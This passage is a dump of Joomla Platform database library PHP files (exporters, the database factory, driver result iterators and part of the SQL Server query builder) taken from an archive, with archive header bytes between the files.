or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PDO PostgreSQL Database Exporter. * * @since 3.9.0 */ class JDatabaseExporterPgsql extends JDatabaseExporterPostgresql { /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseExporterPgsql Method supports chaining. * * @since 3.9.0 * @throws \Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverPgsql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\�>����%joomla/database/exporter/pdomysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL export driver for the PDO based MySQL database driver. * * @package Joomla.Platform * @subpackage Database * @since 3.4 */ class JDatabaseExporterPdomysql extends JDatabaseExporter { /** * Builds the XML data for the tables to export. * * @return string An XML string * * @since 3.4 * @throws Exception if an error occurs. */ protected function buildXml() { $buffer = array(); $buffer[] = '<?xml version="1.0"?>'; $buffer[] = '<mysqldump xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'; $buffer[] = ' <database name="">'; $buffer = array_merge($buffer, $this->buildXmlStructure()); $buffer[] = ' </database>'; $buffer[] = '</mysqldump>'; return implode("\n", $buffer); } /** * Builds the XML structure to export. * * @return array An array of XML lines (strings). * * @since 3.4 * @throws Exception if an error occurs. */ protected function buildXmlStructure() { $buffer = array(); foreach ($this->from as $table) { // Replace the magic prefix if found. $table = $this->getGenericTableName($table); // Get the details columns information. $fields = $this->db->getTableColumns($table, false); $keys = $this->db->getTableKeys($table); $buffer[] = ' <table_structure name="' . $table . '">'; foreach ($fields as $field) { $buffer[] = ' <field Field="' . $field->Field . '"' . ' Type="' . $field->Type . '"' . ' Null="' . $field->Null . '"' . ' Key="' . $field->Key . '"' . (isset($field->Default) ? ' Default="' . $field->Default . '"' : '') . ' Extra="' . $field->Extra . '"' . ' />'; } foreach ($keys as $key) { $buffer[] = ' <key Table="' . $table . '"' . ' Non_unique="' . $key->Non_unique . '"' . ' Key_name="' . $key->Key_name . '"' . ' Seq_in_index="' . $key->Seq_in_index . '"' . ' Column_name="' . $key->Column_name . '"' . ' Collation="' . $key->Collation . '"' . ' Null="' . $key->Null . '"' . ' Index_type="' . $key->Index_type . '"' . ' Comment="' . htmlspecialchars($key->Comment, ENT_COMPAT, 'UTF-8') . '"' . ' />'; } $buffer[] = ' </table_structure>'; } return $buffer; } /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseExporterPdomysql Method supports chaining. * * @since 3.4 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverPdomysql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\W�~~#joomla/database/exporter/mysqli.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQLi export driver. * * @since 1.7.0 */ class JDatabaseExporterMysqli extends JDatabaseExporter { /** * Builds the XML data for the tables to export. * * @return string An XML string * * @since 1.7.0 * @throws Exception if an error occurs. */ protected function buildXml() { $buffer = array(); $buffer[] = '<?xml version="1.0"?>'; $buffer[] = '<mysqldump xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'; $buffer[] = ' <database name="">'; $buffer = array_merge($buffer, $this->buildXmlStructure()); $buffer[] = ' </database>'; $buffer[] = '</mysqldump>'; return implode("\n", $buffer); } /** * Builds the XML structure to export. * * @return array An array of XML lines (strings). * * @since 1.7.0 * @throws Exception if an error occurs. */ protected function buildXmlStructure() { $buffer = array(); foreach ($this->from as $table) { // Replace the magic prefix if found. $table = $this->getGenericTableName($table); // Get the details columns information. $fields = $this->db->getTableColumns($table, false); $keys = $this->db->getTableKeys($table); $buffer[] = ' <table_structure name="' . $table . '">'; foreach ($fields as $field) { $buffer[] = ' <field Field="' . $field->Field . '"' . ' Type="' . $field->Type . '"' . ' Null="' . $field->Null . '"' . ' Key="' . $field->Key . '"' . (isset($field->Default) ? ' Default="' . $field->Default . '"' : '') . ' Extra="' . $field->Extra . '"' . ' />'; } foreach ($keys as $key) { $buffer[] = ' <key Table="' . $table . '"' . ' Non_unique="' . $key->Non_unique . '"' . ' Key_name="' . $key->Key_name . '"' . ' Seq_in_index="' . $key->Seq_in_index . '"' . ' Column_name="' . $key->Column_name . '"' . ' Collation="' . $key->Collation . '"' . ' Null="' . $key->Null . '"' . ' Index_type="' . $key->Index_type . '"' . ' Comment="' . htmlspecialchars($key->Comment, ENT_COMPAT, 'UTF-8') . '"' . ' />'; } $buffer[] = ' </table_structure>'; } return $buffer; } /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseExporterMysqli Method supports chaining. * * @since 1.7.0 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverMysqli)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } } PK�\V���]]joomla/database/factory.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Database Factory class * * @since 3.0.0 */ class JDatabaseFactory { /** * Contains the current JDatabaseFactory instance * * @var JDatabaseFactory * @since 3.0.0 */ private static $_instance = null; /** * Method to return a JDatabaseDriver instance based on the given options. There are three global options and then * the rest are specific to the database driver. The 'database' option determines which database is to * be used for the connection. The 'select' option determines whether the connector should automatically select * the chosen database. * * Instances are unique to the given options and new objects are only created when a unique options array is * passed into the method. This ensures that we don't end up with unnecessary database connection resources. * * @param string $name Name of the database driver you'd like to instantiate * @param array $options Parameters to be passed to the database driver. * * @return JDatabaseDriver A database driver object. * * @since 3.0.0 * @throws RuntimeException */ public function getDriver($name = 'mysqli', $options = array()) { // Sanitize the database connector options. $options['driver'] = preg_replace('/[^A-Z0-9_\.-]/i', '', $name); $options['database'] = (isset($options['database'])) ? $options['database'] : null; $options['select'] = (isset($options['select'])) ? $options['select'] : true; // Derive the class name from the driver. $class = 'JDatabaseDriver' . ucfirst(strtolower($options['driver'])); // If the class still doesn't exist we have nothing left to do but throw an exception. We did our best. if (!class_exists($class)) { throw new JDatabaseExceptionUnsupported(sprintf('Unable to load Database Driver: %s', $options['driver'])); } // Create our new JDatabaseDriver connector based on the options given. try { $instance = new $class($options); } catch (RuntimeException $e) { throw new JDatabaseExceptionConnecting(sprintf('Unable to connect to the Database: %s', $e->getMessage()), $e->getCode(), $e); } return $instance; } /** * Gets an exporter class object. * * @param string $name Name of the driver you want an exporter for. * @param JDatabaseDriver $db Optional JDatabaseDriver instance * * @return JDatabaseExporter An exporter object. * * @since 3.0.0 * @throws RuntimeException */ public function getExporter($name, JDatabaseDriver $db = null) { // Derive the class name from the driver. $class = 'JDatabaseExporter' . ucfirst(strtolower($name)); // Make sure we have an exporter class for this driver. if (!class_exists($class)) { // If it doesn't exist we are at an impasse so throw an exception. throw new JDatabaseExceptionUnsupported('Database Exporter not found.'); } $o = new $class; if ($db instanceof JDatabaseDriver) { $o->setDbo($db); } return $o; } /** * Gets an importer class object. * * @param string $name Name of the driver you want an importer for. * @param JDatabaseDriver $db Optional JDatabaseDriver instance * * @return JDatabaseImporter An importer object. * * @since 3.0.0 * @throws RuntimeException */ public function getImporter($name, JDatabaseDriver $db = null) { // Derive the class name from the driver. $class = 'JDatabaseImporter' . ucfirst(strtolower($name)); // Make sure we have an importer class for this driver. if (!class_exists($class)) { // If it doesn't exist we are at an impasse so throw an exception. throw new JDatabaseExceptionUnsupported('Database importer not found.'); } $o = new $class; if ($db instanceof JDatabaseDriver) { $o->setDbo($db); } return $o; } /** * Gets an instance of the factory object. * * @return JDatabaseFactory * * @since 3.0.0 */ public static function getInstance() { return self::$_instance ? self::$_instance : new JDatabaseFactory; } /** * Get the current query object or a new JDatabaseQuery object. * * @param string $name Name of the driver you want an query object for. * @param JDatabaseDriver $db Optional JDatabaseDriver instance * * @return JDatabaseQuery The current query object or a new object extending the JDatabaseQuery class. * * @since 3.0.0 * @throws RuntimeException */ public function getQuery($name, JDatabaseDriver $db = null) { // Derive the class name from the driver. $class = 'JDatabaseQuery' . ucfirst(strtolower($name)); // Make sure we have a query class for this driver. if (!class_exists($class)) { // If it doesn't exist we are at an impasse so throw an exception. throw new JDatabaseExceptionUnsupported('Database Query class not found'); } return new $class($db); } /** * Gets an instance of a factory object to return on subsequent calls of getInstance. * * @param JDatabaseFactory $instance A JDatabaseFactory object. * * @return void * * @since 3.0.0 */ public static function setInstance(JDatabaseFactory $instance = null) { self::$_instance = $instance; } } PK�\�E}}#joomla/database/iterator/oracle.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Oracle database iterator. * * @since 3.0.0 */ class JDatabaseIteratorOracle extends JDatabaseIteratorPdo { } PK�\��V��#joomla/database/iterator/sqlsrv.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * SQL server database iterator. * * @since 3.0.0 */ class JDatabaseIteratorSqlsrv extends JDatabaseIterator { /** * Get the number of rows in the result set for the executed SQL given by the cursor. * * @return integer The number of rows in the result set. * * @since 3.0.0 * @see Countable::count() */ public function count() { return sqlsrv_num_rows($this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject() { return sqlsrv_fetch_object($this->cursor, $this->class); } /** * Method to free up the memory used for the result set. * * @return void * * @since 3.0.0 */ protected function freeResult() { sqlsrv_free_stmt($this->cursor); } } PK�\o8ʖ� joomla/database/iterator/pdo.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PDO database iterator. * * @since 3.0.0 */ class JDatabaseIteratorPdo extends JDatabaseIterator { /** * Get the number of rows in the result set for the executed SQL given by the cursor. * * @return integer The number of rows in the result set. * * @since 3.0.0 * @see Countable::count() */ public function count() { if (!empty($this->cursor) && $this->cursor instanceof PDOStatement) { return $this->cursor->rowCount(); } else { return 0; } } /** * Method to fetch a row from the result set cursor as an object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject() { if (!empty($this->cursor) && $this->cursor instanceof PDOStatement) { return $this->cursor->fetchObject($this->class); } else { return false; } } /** * Method to free up the memory used for the result set. * * @return void * * @since 3.0.0 */ protected function freeResult() { if (!empty($this->cursor) && $this->cursor instanceof PDOStatement) { $this->cursor->closeCursor(); } } } PK�\��� %joomla/database/iterator/pdomysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL database iterator for the PDO based MySQL database driver. * * @package Joomla.Platform * @subpackage Database * @link https://dev.mysql.com/doc/ * @since 3.4 */ class JDatabaseIteratorPdomysql extends JDatabaseIteratorPdo { } PK�\4�g��'joomla/database/iterator/postgresql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PostgreSQL database iterator. * * @since 3.2.0 * @deprecated 4.0 Use PDO PostgreSQL instead */ class JDatabaseIteratorPostgresql extends JDatabaseIterator { /** * Get the number of rows in the result set for the executed SQL given by the cursor. * * @return integer The number of rows in the result set. * * @since 3.2.0 * @see Countable::count() */ public function count() { return pg_num_rows($this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.2.0 */ protected function fetchObject() { return pg_fetch_object($this->cursor, null, $this->class); } /** * Method to free up the memory used for the result set. * * @return void * * @since 3.2.0 */ protected function freeResult() { pg_free_result($this->cursor); } } PK�\3�\4��"joomla/database/iterator/mysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL database iterator. * * @link http://dev.mysql.com/doc/ * @since 3.0.0 * @deprecated 4.0 Use MySQLi or PDO MySQL instead */ class JDatabaseIteratorMysql extends JDatabaseIterator { /** * Get the number of rows in the result set for the executed SQL given by the cursor. * * @return integer The number of rows in the result set. * * @since 3.0.0 * @see Countable::count() */ public function count() { return mysql_num_rows($this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject() { return mysql_fetch_object($this->cursor, $this->class); } /** * Method to free up the memory used for the result set. * * @return void * * @since 3.0.0 */ protected function freeResult() { mysql_free_result($this->cursor); } } PK�\����}}#joomla/database/iterator/sqlite.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * SQLite database iterator. * * @since 3.0.0 */ class JDatabaseIteratorSqlite extends JDatabaseIteratorPdo { } PK�\��ޭ�"joomla/database/iterator/pgsql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PostgreSQL database iterator for the PDO based PostgreSQL database driver. * * @since 3.9.0 */ class JDatabaseIteratorPgsql extends JDatabaseIteratorPdo { } PK�\n:6��#joomla/database/iterator/mysqli.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQLi database iterator. * * @since 3.0.0 */ class JDatabaseIteratorMysqli extends JDatabaseIterator { /** * Get the number of rows in the result set for the executed SQL given by the cursor. * * @return integer The number of rows in the result set. * * @since 3.0.0 * @see Countable::count() */ public function count() { return mysqli_num_rows($this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject() { return mysqli_fetch_object($this->cursor, $this->class); } /** * Method to free up the memory used for the result set. * * @return void * * @since 3.0.0 */ protected function freeResult() { mysqli_free_result($this->cursor); } } PK�\B{���%joomla/database/iterator/sqlazure.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * SQL azure database iterator. * * @since 3.0.0 */ class JDatabaseIteratorSqlazure extends JDatabaseIteratorSqlsrv { } PK�\R���]�] joomla/database/query/sqlsrv.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Building Class. * * @since 1.7.0 */ class JDatabaseQuerySqlsrv extends JDatabaseQuery implements JDatabaseQueryLimitable { /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 1.7.0 */ protected $name_quotes = '`'; /** * The null or zero representation of a timestamp for the database driver. This should be * defined in child classes to hold the appropriate value for the engine. * * @var string * @since 1.7.0 */ protected $null_date = '1900-01-01 00:00:00'; /** * @var integer The affected row limit for the current SQL statement. * @since 3.2 */ protected $limit = 0; /** * @var integer The affected row offset to apply for the current SQL statement. * @since 3.2 */ protected $offset = 0; /** * Magic function to convert the query to a string. * * @return string The completed query. * * @since 1.7.0 */ public function __toString() { $query = ''; switch ($this->type) { case 'select': // Add required aliases for offset or fixGroupColumns method $columns = $this->fixSelectAliases(); $query = (string) $this->select; if ($this->group) { $this->fixGroupColumns($columns); } $query .= (string) $this->from; if ($this->join) { // Special case for joins foreach ($this->join as $join) { $query .= (string) $join; } } if ($this->where) { $query .= (string) $this->where; } if ($this->selectRowNumber === null) { if ($this->group) { $query .= (string) $this->group; } if ($this->having) { $query .= (string) $this->having; } } if ($this->order) { $query .= (string) $this->order; } if ($this instanceof JDatabaseQueryLimitable && ($this->limit > 0 || $this->offset > 0)) { $query = $this->processLimit($query, $this->limit, $this->offset); } break; case 'insert': $query .= (string) $this->insert; // Set method if ($this->set) { $query .= (string) $this->set; } // Columns-Values method elseif ($this->values) { if ($this->columns) { $query .= (string) $this->columns; } $elements = $this->insert->getElements(); $tableName = array_shift($elements); $query .= 'VALUES '; $query .= (string) $this->values; if ($this->autoIncrementField) { $query = 'SET IDENTITY_INSERT ' . $tableName . ' ON;' . $query . 'SET IDENTITY_INSERT ' . $tableName . ' OFF;'; } if ($this->where) { $query .= (string) $this->where; } } break; case 'delete': $query .= (string) $this->delete; $query .= (string) $this->from; if ($this->join) { // Special case for joins foreach ($this->join as $join) { $query .= (string) $join; } } if ($this->where) { $query .= (string) $this->where; } if ($this->order) { $query .= (string) $this->order; } break; case 'update': if ($this->join) { $tmpUpdate = $this->update; $tmpFrom = $this->from; $this->update = null; $this->from = null; $updateElem = $tmpUpdate->getElements(); $updateArray = explode(' ', $updateElem[0]); // Use table alias if exists $this->update(end($updateArray)); $this->from($updateElem[0]); $query .= (string) $this->update; $query .= (string) $this->set; $query .= (string) $this->from; $this->update = $tmpUpdate; $this->from = $tmpFrom; // Special case for joins foreach ($this->join as $join) { $query .= (string) $join; } } else { $query .= (string) $this->update; $query .= (string) $this->set; } if ($this->where) { $query .= (string) $this->where; } if ($this->order) { $query .= (string) $this->order; } break; default: $query = parent::__toString(); break; } return $query; } /** * Casts a value to a char. * * Ensure that the value is properly quoted before passing to the method. * * @param string $value The value to cast as a char. * * @param string $len The length of the char. * * @return string Returns the cast value. * * @since 1.7.0 */ public function castAsChar($value, $len = null) { if (!$len) { return 'CAST(' . $value . ' as NVARCHAR(30))'; } else { return 'CAST(' . $value . ' as NVARCHAR(' . $len . '))'; } } /** * Gets the function to determine the length of a character string. * * @param string $field A value. * @param string $operator Comparison operator between charLength integer value and $condition * @param string $condition Integer value to compare charLength with. * * @return string The required char length call. * * @since 1.7.0 */ public function charLength($field, $operator = null, $condition = null) { return 'DATALENGTH(' . $field . ')' . (isset($operator) && isset($condition) ? ' ' . $operator . ' ' . $condition : ''); } /** * Concatenates an array of column names or values. * * @param array $values An array of values to concatenate. * @param string $separator As separator to place between each value. * * @return string The concatenated values. * * @since 1.7.0 */ public function concatenate($values, $separator = null) { if ($separator) { return '(' . implode('+' . $this->quote($separator) . '+', $values) . ')'; } else { return '(' . implode('+', $values) . ')'; } } /** * Gets the current date and time. * * @return string * * @since 1.7.0 */ public function currentTimestamp() { return 'GETDATE()'; } /** * Get the length of a string in bytes. * * @param string $value The string to measure. * * @return integer * * @since 1.7.0 */ public function length($value) { return 'LEN(' . $value . ')'; } /** * Add to the current date and time. * Usage: * $query->select($query->dateAdd()); * Prefixing the interval with a - (negative sign) will cause subtraction to be used. * * @param datetime $date The date to add to; type may be time or datetime. * @param string $interval The string representation of the appropriate number of units * @param string $datePart The part of the date to perform the addition on * * @return string The string with the appropriate sql for addition of dates * * @since 3.2.0 * @note Not all drivers support all units. * @link http://msdn.microsoft.com/en-us/library/ms186819.aspx for more information */ public function dateAdd($date, $interval, $datePart) { return 'DATEADD(' . $datePart . ', ' . $interval . ', ' . $date . ')'; } /** * Method to modify a query already in string format with the needed * additions to make the query limited to a particular number of * results, or start at a particular offset. * * @param string $query The query in string format * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return string * * @since 3.0.0 */ public function processLimit($query, $limit, $offset = 0) { if ($limit) { $total = $offset + $limit; $position = stripos($query, 'SELECT'); $distinct = stripos($query, 'SELECT DISTINCT'); if ($position === $distinct) { $query = substr_replace($query, 'SELECT DISTINCT TOP ' . (int) $total, $position, 15); } else { $query = substr_replace($query, 'SELECT TOP ' . (int) $total, $position, 6); } } if (!$offset) { return $query; } return PHP_EOL . 'SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY (SELECT 0)) AS RowNumber FROM (' . $query . PHP_EOL . ') AS A) AS A WHERE RowNumber > ' . (int) $offset; } /** * Sets the offset and limit for the result set, if the database driver supports it. * * Usage: * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record) * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record) * * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.0.0 */ public function setLimit($limit = 0, $offset = 0) { $this->limit = (int) $limit; $this->offset = (int) $offset; return $this; } /** * Split a string of sql expression into an array of individual columns. * Single line or line end comments and multi line comments are stripped off. * Always return at least one column. * * @param string $string Input string of sql expression like select expression. * * @return array[] The columns from the input string separated into an array. * * @since 3.7.0 */ protected function splitSqlExpression($string) { // Append whitespace as equivalent to the last comma $string .= ' '; $colIdx = 0; $start = 0; $open = false; $openC = 0; $comment = false; $endString = ''; $length = strlen($string); $columns = array(); $column = array(); $current = ''; $previous = null; $operators = array( '+' => '', '-' => '', '*' => '', '/' => '', '%' => '', '&' => '', '|' => '', '~' => '', '^' => '', ); $addBlock = function ($block) use (&$column, &$colIdx) { if (isset($column[$colIdx])) { $column[$colIdx] .= $block; } else { $column[$colIdx] = $block; } }; for ($i = 0; $i < $length; $i++) { $current = substr($string, $i, 1); $current2 = substr($string, $i, 2); $current3 = substr($string, $i, 3); $lenEndString = strlen($endString); $testEnd = substr($string, $i, $lenEndString); if ($current == '[' || $current == '"' || $current == "'" || $current2 == '--' || ($current2 == '/*') || ($current == '#' && $current3 != '#__') || ($lenEndString && $testEnd == $endString)) { if ($open) { if ($testEnd === $endString) { if ($comment) { if ($lenEndString > 1) { $i += ($lenEndString - 1); } // Move cursor after close tag of comment $start = $i + 1; $comment = false; } elseif ($current == "'" || $current == ']' || $current == '"') { // Check for escaped quote like '', ]] or "" $n = 1; while ($i + $n < $length && $string[$i + $n] == $current) { $n++; } // Jump to the last quote $i += $n - 1; if ($n % 2 === 0) { // There is only escaped quote continue; } elseif ($n > 2) { // The last right close quote is not escaped $current = $string[$i]; } } $open = false; $endString = ''; } } else { $open = true; if ($current == '#' || $current2 == '--') { $endString = "\n"; $comment = true; } elseif ($current2 == '/*') { $endString = '*/'; $comment = true; } elseif ($current == '[') { $endString = ']'; } else { $endString = $current; } if ($comment && $start < $i) { // Add string exists before comment $addBlock(substr($string, $start, $i - $start)); $previous = $string[$i - 1]; $start = $i; } } } elseif (!$open) { if ($current == '(') { $openC++; $previous = $current; } elseif ($current == ')') { $openC--; $previous = $current; } elseif ($current == '.') { if ($i === $start && $colIdx > 0 && !isset($column[$colIdx])) { // Remove whitepace placed before dot $colIdx--; } $previous = $current; } elseif ($openC === 0) { if (ctype_space($current)) { // Normalize whitepace $string[$i] = ' '; if ($start < $i) { // Add text placed before whitespace $addBlock(substr($string, $start, $i - $start)); $colIdx++; $previous = $string[$i - 1]; } elseif (isset($column[$colIdx])) { if ($colIdx > 1 || !isset($operators[$previous])) { // There was whitespace after comment $colIdx++; } } // Move cursor forward $start = $i + 1; } elseif (isset($operators[$current]) && ($current !== '*' || $previous !== '.')) { if ($start < $i) { // Add text before operator $addBlock(substr($string, $start, $i - $start)); $colIdx++; } elseif (!isset($column[$colIdx]) && isset($operators[$previous])) { // Do not create whitespace between operators $colIdx--; } // Add operator $addBlock($current); $previous = $current; $colIdx++; // Move cursor forward $start = $i + 1; } else { $previous = $current; } } } if (($current == ',' && !$open && $openC == 0) || $i == $length - 1) { if ($start < $i && !$comment) { // Save remaining text $addBlock(substr($string, $start, $i - $start)); } $columns[] = $column; // Reset values $column = array(); $colIdx = 0; $previous = null; // Column saved, move cursor forward after comma $start = $i + 1; } } return $columns; } /** * Add required aliases to columns for select statement in subquery. * * @return array[] Array of columns with added missing aliases. * * @since 3.7.0 */ protected function fixSelectAliases() { $operators = array( '+' => '', '-' => '', '*' => '', '/' => '', '%' => '', '&' => '', '|' => '', '~' => '', '^' => '', ); // Split into array and remove comments $columns = $this->splitSqlExpression(implode(',', $this->select->getElements())); foreach ($columns as $i => $column) { $size = count($column); if ($size == 0) { continue; } if ($size > 2 && strcasecmp($column[$size - 2], 'AS') === 0) { // Alias exists, replace it to uppercase $columns[$i][$size - 2] = 'AS'; continue; } if ($i == 0 && stripos(' DISTINCT ALL ', " $column[0] ") !== false) { // This words are reserved, they are not column names array_shift($column); $size--; } $lastWord = strtoupper($column[$size - 1]); $length = strlen($lastWord); $lastChar = $lastWord[$length - 1]; if ($lastChar == '*') { // Skip on wildcard continue; } if ($lastChar == ')' || ($size == 1 && $lastChar == "'") || $lastWord[0] == '@' || $lastWord == 'NULL' || $lastWord == 'END' || is_numeric($lastWord)) { /* Ends with: * - SQL function * - single static value like 'only '+'string' * - @@var * - NULL * - CASE ... END * - Numeric */ $columns[$i][] = 'AS'; $columns[$i][] = $this->quoteName('columnAlias' . $i); continue; } if ($size == 1) { continue; } $lastChar2 = substr($column[$size - 2], -1); // Check if column ends with '- a.x' or '- a. x' if (isset($operators[$lastChar2]) || ($size > 2 && $lastChar2 === '.' && isset($operators[substr($column[$size - 3], -1)]))) { // Ignore plus signs if column start with them if ($size != 2 || ltrim($column[0], '+') !== '' || $column[1][0] === "'") { // If operator exists before last word then alias is required for subquery $columns[$i][] = 'AS'; $columns[$i][] = $this->quoteName('columnAlias' . $i); continue; } } elseif ($column[$size - 1][0] !== '.' && $lastChar2 !== '.') { // If columns is like name name2 then second word is alias. // Add missing AS before the alias, exception for 'a. x' and 'a .x' array_splice($columns[$i], -1, 0, 'AS'); } } $selectColumns = array(); foreach ($columns as $i => $column) { $selectColumns[$i] = implode(' ', $column); } $this->select = new JDatabaseQueryElement('SELECT', $selectColumns); return $columns; } /** * Add missing columns names to GROUP BY clause. * * @param array[] $selectColumns Array of columns from splitSqlExpression method. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.7.0 */ protected function fixGroupColumns($selectColumns) { // Cache tables columns static $cacheCols = array(); // Known columns of all included tables $knownColumnsByAlias = array(); $iquotes = array('"' => '', '[' => '', "'" => ''); $nquotes = array('"', '[', ']'); // Aggregate functions $aFuncs = array( 'AVG(', 'CHECKSUM_AGG(', 'COUNT(', 'COUNT_BIG(', 'GROUPING(', 'GROUPING_ID(', 'MIN(', 'MAX(', 'SUM(', 'STDEV(', 'STDEVP(', 'VAR(', 'VARP(', ); // Aggregated columns $filteredColumns = array(); // Aliases found in SELECT statement $knownAliases = array(); $wildcardTables = array(); foreach ($selectColumns as $i => $column) { $size = count($column); if ($size === 0) { continue; } if ($i == 0 && stripos(' DISTINCT ALL ', " $column[0] ") !== false) { // These words are reserved, they are not column names array_shift($selectColumns[0]); array_shift($column); $size--; } if ($size > 2 && $column[$size - 2] === 'AS') { // Save and remove AS alias $alias = $column[$size - 1]; if (isset($iquotes[$alias[0]])) { $alias = substr($alias, 1, -1); } // Remove alias $selectColumns[$i] = $column = array_slice($column, 0, -2); if ($size === 3 || ($size === 4 && strpos('+-*/%&|~^', $column[0][0]) !== false)) { $lastWord = $column[$size - 3]; if ($lastWord[0] === "'" || $lastWord === 'NULL' || is_numeric($lastWord)) { unset($selectColumns[$i]); continue; } } // Remember pair alias => column expression $knownAliases[$alias] = implode(' ', $column); } $aggregated = false; foreach ($column as $j => $block) { if (substr($block, -2) === '.*') { // Found column ends with .* if (isset($iquotes[$block[0]])) { // Quoted table $wildcardTables[] = substr($block, 1, -3); } else { $wildcardTables[] = substr($block, 0, -2); } } elseif (str_ireplace($aFuncs, '', $block) != $block) { $aggregated = true; } if ($block[0] === "'") { // Shrink static strings which could contain column name $column[$j] = "''"; } } if (!$aggregated) { // Without aggregated columns and aliases $filteredColumns[] = implode(' ', $selectColumns[$i]); } // Without aliases and static strings $selectColumns[$i] = implode(' ', $column); } // If select statement use table.* expression if ($wildcardTables) { // Split FROM statement into list of tables $tables = $this->splitSqlExpression(implode(',', $this->from->getElements())); foreach ($tables as $i => $table) { $table = implode(' ', $table); // Exclude subquery from the FROM clause if (strpos($table, '(') === false) { // Unquote $table = str_replace($nquotes, '', $table); $table = str_replace('#__', $this->db->getPrefix(), $table); $table = explode(' ', $table); $alias = end($table); $table = $table[0]; // Chek if exists a wildcard with current alias table? if (in_array($alias, $wildcardTables, true)) { 